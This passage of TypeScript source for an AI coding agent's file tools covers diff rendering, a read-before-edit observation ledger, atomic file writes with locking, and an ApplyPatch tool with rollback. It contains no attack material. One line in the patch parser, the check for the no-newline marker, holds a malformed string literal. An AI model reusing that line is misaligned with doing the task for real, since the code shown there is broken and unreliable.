DIFF_YIELD_ITEMS === 0) await yieldToEventLoop(signal);\n }\n if (hunkIndex > 0 && hunkIndex % 64 === 0) await yieldToEventLoop(signal);\n }\n return { diff: out.join('\\n'), stats: diffStatsFromHunks(hunks) };\n}\n\n/** Render a unified diff string. */\nexport function renderDiff(oldText: string, newText: string, context = 3): string {\n return renderDiffWithStats(oldText, newText, context).diff;\n}\n","import { createHash } from 'crypto';\nimport { readFile, stat } from 'fs/promises';\nimport { normalize, relative, resolve } from 'path';\nimport type {\n FileObservation,\n FileObservationOperation,\n ToolContext,\n ToolResult,\n} from '../types/tools.js';\nimport { canonicalizePath } from './path-utils.js';\nimport { toolFailure } from './result.js';\n\nexport function workspaceIdentity(workspaceRoot: string): string {\n const root = normalize(resolve(workspaceRoot));\n const stable = process.platform === 'win32' ? root.toLowerCase() : root;\n return createHash('sha256').update(stable).digest('hex').slice(0, 24);\n}\n\n/**\n * A path as observations and checkpoint files are matched on: forward slashes, and on\n * case-insensitive filesystems (Windows) one spelling for every casing of the same file,\n * mirroring workspaceIdentity's root folding. A matching key only; never display it.\n */\nexport function normalizeObservedPath(path: string): string {\n const normalized = path.replace(/\\\\/g, '/');\n return process.platform === 'win32' ? normalized.toLowerCase() : normalized;\n}\n\nexport function observationKey(workspaceId: string, path: string): string {\n return `${workspaceId}:${normalizeObservedPath(path)}`;\n}\n\n/**\n * The path an observation is filed and looked up under: the file's position relative to the\n * workspace root, with links followed on **both** sides.\n *\n * The two ends of the ledger have to derive this one way. `resolveWorkspacePath` reports a\n * workspace file relative to the root *after* links whenever the path was not written inside the\n * root as given (`asWrittenInside`), so a workspace root reached through a symlink — or typed in\n * 8.3 short form, which is the same disagreement on Windows — makes a lexical\n * `relative(resolve(workspaceRoot), absolutePath)` name a *different* file: the Read filed\n * `../real/a.txt` and the Edit looked up `a.txt`, so the write answered `file_not_observed`\n * (PR #334 finding 6). Canonicalizing both sides is the one spelling under which the two agree,\n * and it is the one the resolution has already committed to.\n *\n * A file in an honored root keeps its `../` prefix, because an honored root is outside the\n * workspace either way: that is what keeps `notes.txt` in `/srv/app` and `notes.txt` in the\n * workspace from sharing a ledger entry.\n */\nexport function observationPathFor(workspaceRoot: string, absolutePath: string): string {\n const root = canonicalizePath(resolve(workspaceRoot));\n return relative(root, canonicalizePath(absolutePath)).replace(/\\\\/g, '/');\n}\n\n/**\n * An outline shows the model a file's declarations, not its content. It is\n * recorded, but it never stands in for having seen the file: it satisfies\n * neither the observed-file check nor the freshness check below.\n */\nfunction isOutline(observation: FileObservation): boolean {\n return observation.operation === 'outline';\n}\n\n/**\n * Whether `next` may take `current`'s place in an observation ledger. An\n * outline never displaces a real observation of the same file, so it cannot\n * refresh the hash a mutation is checked against.\n */\nexport function mayReplaceObservation(\n current: FileObservation | undefined,\n next: FileObservation,\n): boolean {\n return !current || !isOutline(next) || isOutline(current);\n}\n\n/**\n * Whether `next` takes `current`'s place when a ledger is rebuilt from recorded\n * observations (a resumed transcript, a checkpoint). A real observation always\n * replaces an outline, and an outline never replaces one, whatever the\n * timestamps: a parallel batch records its results in call order, so an\n * outline that finished after a Read of the same file can come first with the\n * later time. Between two of the same kind, the newer wins.\n */\nexport function supersedesObservation(\n current: FileObservation | undefined,\n next: FileObservation,\n): boolean {\n if (!current) return true;\n if (isOutline(current) !== isOutline(next)) return isOutline(current);\n return current.timestamp <= next.timestamp;\n}\n\n/**\n * Rebuild a resumed session's ledger from its transcript under\n * `supersedesObservation`, so it ends where the live ledger did: an outline is\n * still only an outline after a resume, and a Read is still a Read.\n */\nexport function seedObservationLedger(\n ledger: Map<string, FileObservation>,\n messages: readonly { fileObservations?: readonly FileObservation[] }[],\n): Map<string, FileObservation> {\n for (const message of messages) {\n for (const observation of message.fileObservations ?? []) {\n const key = observationKey(observation.workspaceId, observation.path);\n if (supersedesObservation(ledger.get(key), observation)) ledger.set(key, observation);\n }\n }\n return ledger;\n}\n\nexport async function observeFile(\n ctx: ToolContext,\n absolutePath: string,\n operation: FileObservationOperation,\n coverage?: { lineStart?: number; lineEnd?: number },\n): Promise<FileObservation> {\n const bytes = await readFile(absolutePath);\n const workspaceId = workspaceIdentity(ctx.workspaceRoot);\n const path = observationPathFor(ctx.workspaceRoot, absolutePath);\n const observation: FileObservation = {\n path,\n workspaceId,\n sha256: createHash('sha256').update(bytes).digest('hex'),\n byteSize: bytes.byteLength,\n lineStart: coverage?.lineStart,\n lineEnd: coverage?.lineEnd,\n operation,\n sourceRef: ctx.currentToolTraceId ?? 'runtime-tool',\n timestamp: Date.now(),\n };\n const key = observationKey(workspaceId, path);\n const ledger = ctx.fileObservationLedger;\n if (ledger && mayReplaceObservation(ledger.get(key), observation)) ledger.set(key, observation);\n return observation;\n}\n\nexport async function requireFreshObservation(\n ctx: ToolContext,\n absolutePath: string,\n relativePath: string,\n): Promise<string | undefined> {\n const workspaceId = workspaceIdentity(ctx.workspaceRoot);\n const normalizedPath = relativePath.replace(/\\\\/g, '/');\n // Looked up by the same derivation `observeFile` filed it under, not by the display spelling:\n // the two are the same file spelled two ways whenever the workspace root is itself reached\n // through a link (PR #334 finding 6). `relativePath` is still what the message names, because\n // that is the spelling the model wrote.\n const remembered = ctx.fileObservationLedger?.get(\n observationKey(workspaceId, observationPathFor(ctx.workspaceRoot, absolutePath)),\n );\n if (!remembered || isOutline(remembered)) return undefined;\n try {\n const info = await stat(absolutePath);\n if (!info.isFile()) return staleMessage(normalizedPath);\n const bytes = await readFile(absolutePath);\n const currentHash = createHash('sha256').update(bytes).digest('hex');\n return currentHash === remembered.sha256 ? undefined : staleMessage(normalizedPath);\n } catch {\n return staleMessage(normalizedPath);\n }\n}\n\nfunction staleMessage(path: string): string {\n return `SKIPPED: ${path} changed or disappeared since it was last shown to the model. Call Read (or mention the file again) before modifying it.`;\n}\n\n/**\n * Require that the file was observed this session (Read, mention, or a prior\n * mutation; an outline does not count) before it may be mutated. Contexts\n * without an observation ledger (bare harnesses, low-level embedding) are\n * exempt. Returns a ready ToolResult failure so every mutating tool reports the\n * same code and remediation.\n *\n * Keyed on `absolutePath` through {@link observationPathFor}, the way the observation was filed —\n * `relativePath` is the display spelling and can be the other spelling of the same file. It\n * names the file in the message either way.\n */\nexport function requireObservationForMutation(\n ctx: ToolContext,\n absolutePath: string,\n relativePath: string,\n retryVerb: string,\n): ToolResult | undefined {\n const ledger = ctx.fileObservationLedger;\n if (!ledger) return undefined;\n const workspaceId = workspaceIdentity(ctx.workspaceRoot);\n const normalizedPath = relativePath.replace(/\\\\/g, '/');\n const remembered = ledger.get(\n observationKey(workspaceId, observationPathFor(ctx.workspaceRoot, absolutePath)),\n );\n if (remembered && !isOutline(remembered)) return undefined;\n const seen = remembered\n ? \"has only been outlined in this session, and an outline is not the file's content\"\n : 'has not been read in this session';\n return toolFailure(\n `SKIPPED: ${normalizedPath} ${seen}. Call Read (or mention the file) before modifying it.`,\n {\n code: 'file_not_observed',\n remediation: `Read the file first, then retry the ${retryVerb}.`,\n },\n );\n}\n","import { randomUUID } from 'node:crypto';\nimport { mkdir, readFile, rename, rm, stat, writeFile } from 'node:fs/promises';\nimport { dirname } from 'node:path';\nimport { throwIfAborted } from '../async.js';\n\nexport type LineEnding = 'lf' | 'crlf';\n\nexport interface TextSnapshot {\n exists: boolean;\n bytes: Buffer;\n text: string;\n bom: boolean;\n lineEnding: LineEnding;\n mixedLineEndings: boolean;\n binary: boolean;\n mode?: number;\n}\n\nconst pathLocks = new Map<string, Promise<void>>();\n\nfunction looksBinary(bytes: Buffer): boolean {\n const sample = bytes.subarray(0, 8192);\n if (sample.includes(0)) return true;\n let controls = 0;\n for (const byte of sample) {\n if (byte < 7 || (byte > 13 && byte < 32)) controls++;\n }\n return sample.length > 0 && controls / sample.length > 0.1;\n}\n\nexport async function readTextSnapshot(\n filePath: string,\n allowMissing = false,\n): Promise<TextSnapshot> {\n let bytes: Buffer;\n try {\n bytes = await readFile(filePath);\n } catch (error) {\n if (allowMissing && (error as NodeJS.ErrnoException).code === 'ENOENT') {\n return {\n exists: false,\n bytes: Buffer.alloc(0),\n text: '',\n bom: false,\n lineEnding: 'lf',\n mixedLineEndings: false,\n binary: false,\n mode: undefined,\n };\n }\n throw error;\n }\n const bom = bytes.length >= 3 && bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbf;\n const body = bytes.subarray(bom ? 3 : 0);\n let binary = looksBinary(bytes);\n let decoded: string;\n try {\n decoded = new TextDecoder('utf-8', { fatal: true }).decode(body);\n } catch {\n binary = true;\n decoded = body.toString('utf8');\n }\n const crlfCount = (decoded.match(/\\r\\n/g) ?? []).length;\n const bareLfCount = (decoded.replace(/\\r\\n/g, '').match(/\\n/g) ?? []).length;\n const bareCrCount = (decoded.replace(/\\r\\n/g, '').match(/\\r/g) ?? []).length;\n const mixedLineEndings = (crlfCount > 0 && bareLfCount > 0) || bareCrCount > 0;\n const mode = (await stat(filePath)).mode & 0o777;\n return {\n exists: true,\n bytes,\n text: decoded.replace(/\\r\\n/g, '\\n'),\n bom,\n lineEnding: crlfCount > bareLfCount ? 'crlf' : 'lf',\n mixedLineEndings,\n binary,\n mode,\n };\n}\n\nexport function restoreTextEncoding(\n text: string,\n snapshot: Pick<TextSnapshot, 'bom' | 'lineEnding'>,\n): Buffer {\n const body = snapshot.lineEnding === 'crlf' ? text.replace(/\\n/g, '\\r\\n') : text;\n return Buffer.from(`${snapshot.bom ? '\\ufeff' : ''}${body}`, 'utf8');\n}\n\nexport async function writeFileAtomically(\n filePath: string,\n bytes: Uint8Array,\n signal?: AbortSignal,\n mode?: number,\n): Promise<void> {\n throwIfAborted(signal);\n await mkdir(dirname(filePath), { recursive: true });\n const temporary = `${filePath}.book-tmp-${randomUUID()}`;\n try {\n await writeFile(temporary, bytes, { flag: 'wx', mode });\n throwIfAborted(signal);\n await rename(temporary, filePath);\n } finally {\n await rm(temporary, { force: true }).catch(() => undefined);\n }\n}\n\nexport async function removeFileAtomically(filePath: string, signal?: AbortSignal): Promise<void> {\n throwIfAborted(signal);\n await rm(filePath, { force: false });\n}\n\nasync function acquirePath(path: string): Promise<() => void> {\n const previous = pathLocks.get(path) ?? Promise.resolve();\n let release!: () => void;\n const current = new Promise<void>((resolve) => {\n release = resolve;\n });\n const queued = previous.then(() => current);\n pathLocks.set(path, queued);\n await previous;\n return () => {\n release();\n if (pathLocks.get(path) === queued) pathLocks.delete(path);\n };\n}\n\n/** Serialize mutation validation and commit for each path, in stable order. */\nexport async function withMutationLocks<T>(\n paths: string[],\n operation: () => Promise<T>,\n): Promise<T> {\n const releases: Array<() => void> = [];\n try {\n for (const path of [...new Set(paths)].sort()) releases.push(await acquirePath(path));\n return await operation();\n } finally {\n for (const release of releases.reverse()) release();\n }\n}\n","import type {\n ToolContext,\n ToolDefinition,\n ToolResult,\n FileMutationSummary,\n} from '../types/tools.js';\nimport { throwIfAborted } from '../async.js';\nimport { renderDiffWithStatsAsync } from './diff.js';\nimport { observeFile, requireFreshObservation } from './file-provenance.js';\nimport { pathOutsideWorkspaceResult, resolveMutationPath } from './path-utils.js';\nimport { toolFailure, toolSuccess } from './result.js';\nimport {\n readTextSnapshot,\n removeFileAtomically,\n restoreTextEncoding,\n withMutationLocks,\n writeFileAtomically,\n type TextSnapshot,\n} from './mutation.js';\n\nconst MAX_PATCH_BYTES = 1024 * 1024;\nconst MAX_FILES = 100;\nconst MAX_HUNKS = 1000;\n\nexport type PatchOperation =\n | { kind: 'update'; path: string; hunks: PatchHunk[] }\n | { kind: 'add'; path: string; lines: string[] }\n | { kind: 'delete'; path: string };\n\nexport interface PatchHunk {\n header: string;\n oldStart?: number;\n lines: Array<{\n kind: 'context' | 'remove' | 'add';\n text: string;\n noNewline?: boolean;\n }>;\n}\n\ninterface StagedFile {\n operation: PatchOperation;\n absolutePath: string;\n writePath: string;\n relativePath: string;\n before: TextSnapshot;\n afterBytes?: Buffer;\n afterText?: string;\n mutation: FileMutationSummary;\n}\n\nexport interface ParsedPatch {\n operations: PatchOperation[];\n bytes: number;\n}\n\nfunction invalid(message: string, details?: Record<string, unknown>): ToolResult {\n return toolFailure(message, {\n code: 'invalid_patch_syntax',\n remediation: 'Regenerate a Codex-style patch with Begin/End markers and valid file hunks.',\n details,\n });\n}\n\nfunction parseHunkHeader(line: string): { oldStart?: number } {\n const match = line.match(/^@@(?: -(\\d+)(?:,(\\d+))?)?(?: \\+(\\d+)(?:,(\\d+))?)?(?: @@.*)?$/);\n if (!match) throw new Error(`Invalid hunk header: ${line}`);\n return { oldStart: match[1] ? Number(match[1]) : undefined };\n}\n\nfunction parsePatchUnsafe(patch: unknown): ParsedPatch | ToolResult {\n if (typeof patch !== 'string' || patch.length === 0)\n return invalid('patch must be a non-empty string');\n const bytes = Buffer.byteLength(patch, 'utf8');\n if (bytes > MAX_PATCH_BYTES)\n return toolFailure(`Patch input exceeds ${MAX_PATCH_BYTES} bytes`, {\n code: 'patch_limit_exceeded',\n remediation: 'Split the change into smaller patches.',\n details: { limit: MAX_PATCH_BYTES, bytes },\n });\n const lines = patch.replace(/\\r\\n/g, '\\n').split('\\n');\n if (lines.at(-1) === '') lines.pop();\n if (lines[0] !== '*** Begin Patch' || lines.at(-1) !== '*** End Patch')\n return invalid('Patch must start with *** Begin Patch and end with *** End Patch');\n\n // A model sometimes repeats an envelope marker; the extra copy carries nothing.\n while (lines.length > 2 && lines[1] === '*** Begin Patch') lines.splice(1, 1);\n while (lines.length > 2 && lines.at(-2) === '*** End Patch') lines.splice(-2, 1);\n\n const operations: PatchOperation[] = [];\n let index = 1;\n let hunkCount = 0;\n while (index < lines.length - 1) {\n const marker = lines[index];\n const update = marker.match(/^\\*\\*\\* Update File: (.+)$/);\n const add = marker.match(/^\\*\\*\\* Add File: (.+)$/);\n const del = marker.match(/^\\*\\*\\* Delete File: (.+)$/);\n if (update) {\n const hunks: PatchHunk[] = [];\n index++;\n while (index < lines.length - 1 && !lines[index].startsWith('*** ')) {\n if (!lines[index].startsWith('@@'))\n throw new Error(`Expected @@ hunk header near line ${index + 1}`);\n const header = lines[index];\n const parsedHeader = parseHunkHeader(header);\n index++;\n const hunkLines: PatchHunk['lines'] = [];\n while (\n index < lines.length - 1 &&\n !lines[index].startsWith('@@') &&\n !lines[index].startsWith('*** ')\n ) {\n const line = lines[index++];\n if (line === '\\\') {\n const previous = hunkLines.at(-1);\n if (!previous)\n throw new Error(`No-newline marker has no preceding hunk line near line ${index}`);\n previous.noNewline = true;\n continue;\n }\n if (line.startsWith(' ')) hunkLines.push({ kind: 'context', text: line.slice(1) });\n else if (line.startsWith('-')) hunkLines.push({ kind: 'remove', text: line.slice(1) });\n else if (line.startsWith('+')) hunkLines.push({ kind: 'add', text: line.slice(1) });\n else throw new Error(`Invalid hunk line near line ${index}`);\n }\n if (hunkLines.length === 0) throw new Error(`Empty hunk near line ${index}`);\n if (!hunkLines.some((line) => line.kind !== 'add'))\n throw new Error(`Update hunk must contain context or removed lines near line ${index}`);\n hunks.push({ header, oldStart: parsedHeader.oldStart, lines: hunkLines });\n hunkCount++;\n }\n if (hunks.length === 0) throw new Error(`Update File ${update[1]} has no hunks`);\n operations.push({ kind: 'update', path: update[1].trim(), hunks });\n continue;\n }\n if (add) {\n index++;\n const content: string[] = [];\n while (index < lines.length - 1 && !lines[index].startsWith('*** ')) {\n const line = lines[index++];\n if (!line.startsWith('+'))\n throw new Error(`Added file lines must begin with + near line ${index}`);\n content.push(line.slice(1));\n }\n operations.push({ kind: 'add', path: add[1].trim(), lines: content });\n continue;\n }\n if (del) {\n index++;\n if (index < lines.length - 1 && !lines[index].startsWith('*** '))\n throw new Error(`Delete File ${del[1]} cannot contain patch lines`);\n operations.push({ kind: 'delete', path: del[1].trim() });\n continue;\n }\n throw new Error(`Expected a file operation near line ${index + 1}`);\n }\n if (operations.length === 0) return invalid('Patch contains no file operations');\n if (operations.length > MAX_FILES || hunkCount > MAX_HUNKS)\n return toolFailure(`Patch exceeds limits (${MAX_FILES} files, ${MAX_HUNKS} hunks)`, {\n code: 'patch_limit_exceeded',\n remediation: 'Split the change into smaller patches.',\n details: { files: operations.length, hunks: hunkCount },\n });\n return { operations, bytes };\n}\n\nexport function parsePatch(patch: unknown): ParsedPatch | ToolResult {\n try {\n return parsePatchUnsafe(patch);\n } catch (error) {\n return invalid(error instanceof Error ? error.message : String(error));\n }\n}\n\nfunction linesOf(text: string): string[] {\n const lines = text.split('\\n');\n if (lines.at(-1) === '') lines.pop();\n return lines;\n}\n\n/** Every start index at which `needle` occurs in `haystack`, in order. */\nfunction sequenceMatches(haystack: string[], needle: string[]): number[] {\n if (needle.length === 0) return [];\n const matches: number[] = [];\n for (let start = 0; start <= haystack.length - needle.length; start++) {\n if (needle.every((line, offset) => haystack[start + offset] === line)) matches.push(start);\n }\n return matches;\n}\n\nfunction candidateLine(haystack: string[], line: string): number | undefined {\n const matches = haystack.reduce<number[]>((found, value, index) => {\n if (value === line) found.push(index + 1);\n return found;\n }, []);\n return matches.length === 1 ? matches[0] : undefined;\n}\n\nexport function applyHunks(\n text: string,\n hunks: PatchHunk[],\n): { text: string; mismatch?: ToolResult } {\n let lines = linesOf(text);\n let trailingNewline = text.endsWith('\\n');\n // Where the previous hunk ended, in the text as already patched. A hunk whose context repeats\n // in the file is still unambiguous when exactly one occurrence lies at or after this point.\n let cursor = 0;\n for (let hunkIndex = 0; hunkIndex < hunks.length; hunkIndex++) {\n const hunk = hunks[hunkIndex];\n const oldLines = hunk.lines.filter((line) => line.kind !== 'add').map((line) => line.text);\n const newLines = hunk.lines.filter((line) => line.kind !== 'remove').map((line) => line.text);\n const matches = sequenceMatches(lines, oldLines);\n const afterPrevious = matches.filter((start) => start >= cursor);\n const index =\n matches.length === 1 ? matches[0] : afterPrevious.length === 1 ? afterPrevious[0] : -1;\n if (matches.length === 0)\n return {\n text,\n mismatch: toolFailure(`Hunk ${hunkIndex + 1}: patch context not found`, {\n code: 'patch_context_not_found',\n remediation:\n 'Reread the affected range and regenerate the hunk against the latest file contents.',\n details: {\n hunkIndex: hunkIndex + 1,\n header: hunk.header,\n firstContextLine: oldLines[0]?.slice(0, 200),\n closestCandidateLine: oldLines[0] ? candidateLine(lines, oldLines[0]) : undefined,\n suggestedReadRange:\n hunk.oldStart !== undefined\n ? {\n lineStart: Math.max(1, hunk.oldStart - 3),\n lineEnd: hunk.oldStart + oldLines.length + 3,\n }\n : undefined,\n },\n }),\n };\n if (index < 0)\n return {\n text,\n mismatch: toolFailure(`Hunk ${hunkIndex + 1}: patch context is ambiguous`, {\n code: 'ambiguous_patch_context',\n remediation:\n 'Add surrounding lines, such as the enclosing function signature, until the hunk occurs once in the file or once after the previous hunk, then regenerate the patch.',\n details: {\n hunkIndex: hunkIndex + 1,\n header: hunk.header,\n matches: matches.length,\n matchesAfterPreviousHunk: afterPrevious.length,\n },\n }),\n };\n const touchesEndOfFile = index + oldLines.length === lines.length;\n lines = [...lines.slice(0, index), ...newLines, ...lines.slice(index + oldLines.length)];\n cursor = index + newLines.length;\n if (touchesEndOfFile) {\n const oldNoNewline = hunk.lines.some((line) => line.kind !== 'add' && line.noNewline);\n const newNoNewline = hunk.lines.some((line) => line.kind !== 'remove' && line.noNewline);\n if (newNoNewline) trailingNewline = false;\n else if (oldNoNewline) trailingNewline = true;\n }\n }\n return { text: lines.join('\\n') + (trailingNewline && lines.length > 0 ? '\\n' : '') };\n}\n\nfunction mutationFromDiff(\n relativePath: string,\n kind: FileMutationSummary['kind'],\n stats: { addedLines: number; removedLines: number },\n): FileMutationSummary {\n return {\n kind,\n filePath: relativePath,\n addedLines: stats.addedLines,\n removedLines: stats.removedLines,\n };\n}\n\nfunction errorCodeFor(error: unknown): string {\n return error instanceof Error && error.message.includes('changed or disappeared')\n ? 'stale_file_observation'\n : 'filesystem_error';\n}\n\nasync function applyPatch(args: Record<string, unknown>, ctx: ToolContext): Promise<ToolResult> {\n const parsed = parsePatch(args.patch);\n if (!('operations' in parsed)) return parsed;\n const paths = parsed.operations.map((operation) => operation.path);\n const resolved = parsed.operations.map((operation) => {\n const result = resolveMutationPath(ctx, operation.path);\n return result ? { operation, ...result } : null;\n });\n if (resolved.some((entry) => !entry))\n return pathOutsideWorkspaceResult(paths[resolved.findIndex((entry) => !entry)]);\n const entries = resolved as Array<{\n operation: PatchOperation;\n filePath: string;\n canonicalPath: string;\n relativePath: string;\n }>;\n const canonicalKeys = entries.map((entry) =>\n process.platform === 'win32' ? entry.canonicalPath.toLowerCase() : entry.canonicalPath,\n );\n if (new Set(canonicalKeys).size !== canonicalKeys.length)\n return toolFailure('A patch may contain only one operation per file', {\n code: 'patch_conflict',\n remediation: 'Combine related updates into one file operation with multiple hunks.',\n });\n\n return withMutationLocks(\n entries.map((entry) => entry.canonicalPath),\n async () => {\n const staged: StagedFile[] = [];\n try {\n for (const entry of entries) {\n throwIfAborted(ctx.signal);\n const before = await readTextSnapshot(entry.filePath, entry.operation.kind === 'add');\n if (before.binary)\n return toolFailure(`Binary file is unsupported: ${entry.relativePath}`, {\n code: 'binary_file_unsupported',\n remediation: 'Use a text file mutation or a dedicated binary workflow.',\n });\n if (before.mixedLineEndings && entry.operation.kind === 'update')\n return toolFailure(\n `Mixed line endings are unsupported for patch updates: ${entry.relativePath}`,\n {\n code: 'patch_conflict',\n remediation:\n 'Normalize the file line endings, reread it, and regenerate the patch.',\n details: { filePath: entry.relativePath, lineEnding: 'mixed' },\n },\n );\n const stale =\n entry.operation.kind === 'add'\n ? undefined\n : await requireFreshObservation(ctx, entry.filePath, entry.relativePath);\n if (stale)\n return toolFailure(stale, {\n code: 'stale_file_observation',\n remediation: 'Call Read before regenerating the patch.',\n });\n if (entry.operation.kind === 'add') {\n if (before.exists)\n return toolFailure(`File already exists: ${entry.relativePath}`, {\n code: 'patch_conflict',\n remediation: 'Use Update File for an existing file.',\n });\n const afterText =\n entry.operation.lines.join('\\n') + (entry.operation.lines.length > 0 ? '\\n' : '');\n const { stats } = await renderDiffWithStatsAsync('', afterText, 3, ctx.signal);\n staged.push({\n operation: entry.operation,\n absolutePath: entry.filePath,\n writePath: entry.canonicalPath,\n relativePath: entry.relativePath,\n before,\n afterText,\n afterBytes: Buffer.from(afterText, 'utf8'),\n mutation: mutationFromDiff(entry.relativePath, 'create', stats),\n });\n } else if (entry.operation.kind === 'delete') {\n if (!before.exists)\n return toolFailure(`File not found: ${entry.relativePath}`, {\n code: 'patch_conflict',\n remediation: 'Reread the workspace and regenerate the patch.',\n });\n staged.push({\n operation: entry.operation,\n absolutePath: entry.filePath,\n writePath: entry.filePath,\n relativePath: entry.relativePath,\n before,\n mutation: {\n kind: 'delete',\n filePath: entry.relativePath,\n addedLines: 0,\n removedLines: linesOf(before.text).length,\n },\n });\n } else {\n if (!before.exists)\n return toolFailure(`File not found: ${entry.relativePath}`, {\n code: 'patch_context_not_found',\n remediation: 'Reread the file and regenerate the patch.',\n });\n const applied = applyHunks(before.text, entry.operation.hunks);\n if (applied.mismatch)\n return toolFailure(\n `${entry.relativePath}: ${applied.mismatch.structuredError?.message}`,\n {\n ...applied.mismatch.structuredError,\n code: applied.mismatch.structuredError?.code ?? 'patch_context_not_found',\n remediation: applied.mismatch.structuredError?.remediation,\n details: {\n ...applied.mismatch.structuredError?.details,\n filePath: entry.relativePath,\n lineEnding: before.mixedLineEndings ? 'mixed' : before.lineEnding,\n normalizedMatching: true,\n },\n },\n );\n const afterText = applied.text;\n const { stats } = await renderDiffWithStatsAsync(before.text, afterText, 3, ctx.signal);\n staged.push({\n operation: entry.operation,\n absolutePath: entry.filePath,\n writePath: entry.canonicalPath,\n relativePath: entry.relativePath,\n before,\n afterText,\n afterBytes: restoreTextEncoding(afterText, before),\n mutation: mutationFromDiff(entry.relativePath, 'update', stats),\n });\n }\n }\n\n const mutations = staged.map((file) => file.mutation);\n const changedLines = mutations.reduce(\n (total, mutation) => total + mutation.addedLines + mutation.removedLines,\n 0,\n );\n const contextLines = parsed.operations.reduce(\n (total, operation) =>\n total +\n (operation.kind === 'update'\n ? operation.hunks.reduce(\n (hunkTotal, hunk) =>\n hunkTotal + hunk.lines.filter((line) => line.kind === 'context').length,\n 0,\n )\n : 0),\n 0,\n );\n const changeBudgetWarnings: string[] = [];\n if (changedLines > 2_000) changeBudgetWarnings.push('large_change');\n if (changedLines > 100 && changedLines > Math.max(1, contextLines) * 20)\n changeBudgetWarnings.push('low_context_to_change_ratio');\n\n const diffs: string[] = [];\n for (const file of staged) {\n throwIfAborted(ctx.signal);\n const afterText = file.afterText ?? '';\n const { diff } = await renderDiffWithStatsAsync(\n file.before.text,\n afterText,\n 3,\n ctx.signal,\n );\n if (diff) diffs.push(`--- ${file.relativePath}\\n+++ ${file.relativePath}\\n${diff}`);\n }\n const committed: StagedFile[] = [];\n try {\n for (const file of staged) {\n throwIfAborted(ctx.signal);\n committed.push(file);\n if (file.operation.kind === 'delete')\n await removeFileAtomically(file.absolutePath, ctx.signal);\n else\n await writeFileAtomically(\n file.writePath,\n file.afterBytes!,\n ctx.signal,\n file.before.mode,\n );\n const check = await readTextSnapshot(\n file.absolutePath,\n file.operation.kind === 'delete',\n );\n if (\n file.operation.kind === 'delete'\n ? check.exists\n : !check.exists || !check.bytes.equals(file.afterBytes!)\n )\n throw new Error(`Post-write verification failed for ${file.relativePath}`);\n }\n } catch (error) {\n let rollbackFailed = false;\n for (const file of committed.reverse()) {\n try {\n if (file.before.exists)\n await writeFileAtomically(\n file.writePath,\n file.before.bytes,\n undefined,\n file.before.mode,\n );\n else await removeFileAtomically(file.absolutePath).catch(() => undefined);\n } catch {\n rollbackFailed = true;\n }\n }\n return toolFailure(\n `Patch commit failed${rollbackFailed ? '; rollback also failed' : ' and was rolled back'}: ${error instanceof Error ? error.message : String(error)}`,\n {\n code: rollbackFailed ? 'patch_rollback_failed' : 'filesystem_error',\n remediation: rollbackFailed\n ? 'Inspect the affected files and restore them manually.'\n : 'Retry after checking the workspace state.',\n },\n );\n }\n\n const observations = [];\n for (const file of staged) {\n if (file.operation.kind !== 'delete')\n observations.push(\n await observeFile(\n ctx,\n file.absolutePath,\n file.operation.kind === 'add' ? 'create' : 'edit',\n ),\n );\n }\n const result = toolSuccess(\n diffs.join('\\n') || 'Patch applied successfully (no textual change)',\n {\n data: {\n files: mutations.map((mutation) => mutation.filePath),\n changedFiles: mutations.length,\n changedLines,\n patchBytes: parsed.bytes,\n changeBudgetWarnings,\n },\n artifacts: {\n fileMutation: mutations[0],\n fileMutations: mutations,\n fileObservations: observations,\n },\n presentation: {\n kind: 'diff',\n summary: `Applied patch to ${mutations.length} ${mutations.length === 1 ? 'file' : 'files'}`,\n target: mutations.length === 1 ? mutations[0].filePath : `${mutations.length} files`,\n },\n },\n );\n if (!staged.every((file) => file.mutation.kind === 'create')) return result;\n // Every file in an add-only patch is a second copy of what the model just\n // wrote: the diff is all-plus, with no before for the model to read the\n // change against, and GPT/Codex-family models are steered here (#378).\n // It stays the result's content — the TUI, the session record and the SDK\n // render the diff from there — and the model reads one line a file. A\n // patch that also updates or deletes keeps the diffs: their removed lines\n // are the part the model cannot re-derive.\n return {\n ...result,\n maskedPlaceholder: `${staged\n .map(\n (file, order) =>\n `${order === 0 ? 'Created' : 'created'} ${file.relativePath} (${file.mutation.addedLines} lines, ${file.afterBytes?.byteLength ?? 0} bytes)`,\n )\n .join('; ')}.`,\n };\n } catch (error) {\n const code = errorCodeFor(error);\n return toolFailure(error instanceof Error ? error.message : String(error), {\n code,\n remediation: 'Reread the affected file and regenerate the patch.',\n });\n }\n },\n );\n}\n\nexport const patchTools: ToolDefinition[] = [\n {\n name: 'ApplyPatch',\n argumentAliases: { input: 'patch' },\n description:\n 'Apply a Codex-style patch with Update File, Add File, or Delete File operations across one or more files atomically. Read the targets first; use exact contextual hunks, and regenerate the patch after a context mismatch instead of resending it unchanged.',\n parameters: {\n type: 'object',\n properties: {\n patch: {\n type: 'string',\n minLength: 1,\n maxLength: MAX_PATCH_BYTES,\n description: 'Patch text beginning with *** Begin Patch and ending with *** End Patch',\n },\n baseObservation: {\n type: 'string',\n maxLength: 128,\n description:\n 'Optional short observation identifier for diagnostics; freshness is checked implicitly.',\n },\n },\n required: ['patch'],\n additionalProperties: false,\n },\n execute: applyPatch,\n 